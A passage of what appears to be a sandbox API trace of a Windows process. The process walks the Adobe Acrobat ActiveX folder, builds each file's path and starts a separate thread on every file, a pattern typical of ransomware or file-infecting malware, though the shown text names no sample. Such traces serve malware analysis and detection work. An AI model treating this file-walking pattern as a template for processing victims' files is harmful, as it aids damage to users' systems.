dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abaa8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x944 [0066.791] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.HUN", cAlternateFileName="")) returned 1 [0066.791] wcscmp (_String1="PDFShell.HUN", _String2=".") returned 1 [0066.791] wcscmp (_String1="PDFShell.HUN", _String2="..") returned 1 [0066.791] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abb40 [0066.791] wcscpy (in: _Dest=0x97abb40, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.791] wcscat (in: _Dest=0x97abb40, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.791] wcscat (in: _Dest=0x97abb40, _Source="PDFShell.HUN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.HUN" [0066.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abb40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x93c [0066.792] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.ITA", cAlternateFileName="")) returned 1 [0066.793] wcscmp (_String1="PDFShell.ITA", _String2=".") returned 1 [0066.793] wcscmp (_String1="PDFShell.ITA", _String2="..") returned 1 [0066.793] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abbd8 [0066.793] wcscpy (in: _Dest=0x97abbd8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.793] wcscat (in: _Dest=0x97abbd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.793] wcscat (in: _Dest=0x97abbd8, _Source="PDFShell.ITA" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.ITA" [0066.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abbd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938 [0066.794] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.JPN", cAlternateFileName="")) returned 1 [0066.794] wcscmp (_String1="PDFShell.JPN", _String2=".") returned 1 [0066.794] wcscmp (_String1="PDFShell.JPN", _String2="..") returned 1 [0066.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abc70 [0066.794] wcscpy (in: _Dest=0x97abc70, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.794] wcscat (in: _Dest=0x97abc70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.794] wcscat (in: _Dest=0x97abc70, _Source="PDFShell.JPN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.JPN" [0066.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abc70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1004 [0066.795] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.KOR", cAlternateFileName="")) returned 1 [0066.795] wcscmp (_String1="PDFShell.KOR", _String2=".") returned 1 [0066.795] wcscmp (_String1="PDFShell.KOR", _String2="..") returned 1 [0066.795] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abd08 [0066.795] wcscpy (in: _Dest=0x97abd08, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.795] wcscat (in: _Dest=0x97abd08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.795] wcscat (in: _Dest=0x97abd08, _Source="PDFShell.KOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.KOR" [0066.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abd08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x930 [0066.796] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NLD", cAlternateFileName="")) returned 1 [0066.797] wcscmp (_String1="PDFShell.NLD", _String2=".") returned 1 [0066.797] wcscmp (_String1="PDFShell.NLD", _String2="..") returned 1 [0066.797] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abda0 [0066.797] wcscpy (in: _Dest=0x97abda0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.797] wcscat (in: _Dest=0x97abda0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.797] wcscat (in: _Dest=0x97abda0, _Source="PDFShell.NLD" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NLD" [0066.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abda0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x934 [0066.798] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80567fc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.NOR", cAlternateFileName="")) returned 1 [0066.798] wcscmp (_String1="PDFShell.NOR", _String2=".") returned 1 [0066.798] wcscmp (_String1="PDFShell.NOR", _String2="..") returned 1 [0066.798] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abe38 [0066.798] wcscpy (in: _Dest=0x97abe38, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.798] wcscat (in: _Dest=0x97abe38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.798] wcscat (in: _Dest=0x97abe38, _Source="PDFShell.NOR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.NOR" [0066.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abe38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfcc [0066.799] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.POL", cAlternateFileName="")) returned 1 [0066.799] wcscmp (_String1="PDFShell.POL", _String2=".") returned 1 [0066.799] wcscmp (_String1="PDFShell.POL", _String2="..") returned 1 [0066.799] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abed0 [0066.800] wcscpy (in: _Dest=0x97abed0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.800] wcscat (in: _Dest=0x97abed0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.800] wcscat (in: _Dest=0x97abed0, _Source="PDFShell.POL" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.POL" [0066.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x92c [0066.801] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80541e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.PTB", cAlternateFileName="")) returned 1 [0066.801] wcscmp (_String1="PDFShell.PTB", _String2=".") returned 1 [0066.801] wcscmp (_String1="PDFShell.PTB", _String2="..") returned 1 [0066.801] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97abf68 [0066.801] wcscpy (in: _Dest=0x97abf68, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.801] wcscat (in: _Dest=0x97abf68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.801] wcscat (in: _Dest=0x97abf68, _Source="PDFShell.PTB" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.PTB" [0066.801] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97abf68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd4 [0066.802] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d5bd20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUM", cAlternateFileName="")) returned 1 [0066.802] wcscmp (_String1="PDFShell.RUM", _String2=".") returned 1 [0066.802] wcscmp (_String1="PDFShell.RUM", _String2="..") returned 1 [0066.802] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac000 [0066.802] wcscpy (in: _Dest=0x97ac000, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.802] wcscat (in: _Dest=0x97ac000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.802] wcscat (in: _Dest=0x97ac000, _Source="PDFShell.RUM" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUM" [0066.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0 [0066.804] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.RUS", cAlternateFileName="")) returned 1 [0066.804] wcscmp (_String1="PDFShell.RUS", _String2=".") returned 1 [0066.804] wcscmp (_String1="PDFShell.RUS", _String2="..") returned 1 [0066.804] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac098 [0066.804] wcscpy (in: _Dest=0x97ac098, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.804] wcscat (in: _Dest=0x97ac098, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.804] wcscat (in: _Dest=0x97ac098, _Source="PDFShell.RUS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.RUS" [0066.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0 [0066.805] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SKY", cAlternateFileName="")) returned 1 [0066.805] wcscmp (_String1="PDFShell.SKY", _String2=".") returned 1 [0066.805] wcscmp (_String1="PDFShell.SKY", _String2="..") returned 1 [0066.805] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac130 [0066.805] wcscpy (in: _Dest=0x97ac130, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.805] wcscat (in: _Dest=0x97ac130, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.805] wcscat (in: _Dest=0x97ac130, _Source="PDFShell.SKY" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SKY" [0066.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8 [0066.806] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SLV", cAlternateFileName="")) returned 1 [0066.806] wcscmp (_String1="PDFShell.SLV", _String2=".") returned 1 [0066.806] wcscmp (_String1="PDFShell.SLV", _String2="..") returned 1 [0066.806] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac1c8 [0066.806] wcscpy (in: _Dest=0x97ac1c8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.806] wcscat (in: _Dest=0x97ac1c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.806] wcscat (in: _Dest=0x97ac1c8, _Source="PDFShell.SLV" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SLV" [0066.806] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac1c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x112c [0066.808] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SUO", cAlternateFileName="")) returned 1 [0066.808] wcscmp (_String1="PDFShell.SUO", _String2=".") returned 1 [0066.808] wcscmp (_String1="PDFShell.SUO", _String2="..") returned 1 [0066.808] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac260 [0066.808] wcscpy (in: _Dest=0x97ac260, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.808] wcscat (in: _Dest=0x97ac260, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.808] wcscat (in: _Dest=0x97ac260, _Source="PDFShell.SUO" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SUO" [0066.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb8 [0066.809] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80378de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.SVE", cAlternateFileName="")) returned 1 [0066.809] wcscmp (_String1="PDFShell.SVE", _String2=".") returned 1 [0066.809] wcscmp (_String1="PDFShell.SVE", _String2="..") returned 1 [0066.809] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac2f8 [0066.809] wcscpy (in: _Dest=0x97ac2f8, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.809] wcscat (in: _Dest=0x97ac2f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.809] wcscat (in: _Dest=0x97ac2f8, _Source="PDFShell.SVE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.SVE" [0066.809] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac2f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1104 [0066.810] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | out: lpFindFileData=0x488c08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.TUR", cAlternateFileName="")) returned 1 [0066.810] wcscmp (_String1="PDFShell.TUR", _String2=".") returned 1 [0066.810] wcscmp (_String1="PDFShell.TUR", _String2="..") returned 1 [0066.810] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97ac390 [0066.810] wcscpy (in: _Dest=0x97ac390, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0066.810] wcscat (in: _Dest=0x97ac390, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0066.810] wcscat (in: _Dest=0x97ac390, _Source="PDFShell.TUR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.TUR" [0066.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97ac390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8f0 [0066.811] FindNextFileW (in: hFindFile=0x440a20, lpFindFileData=0x488c08 | 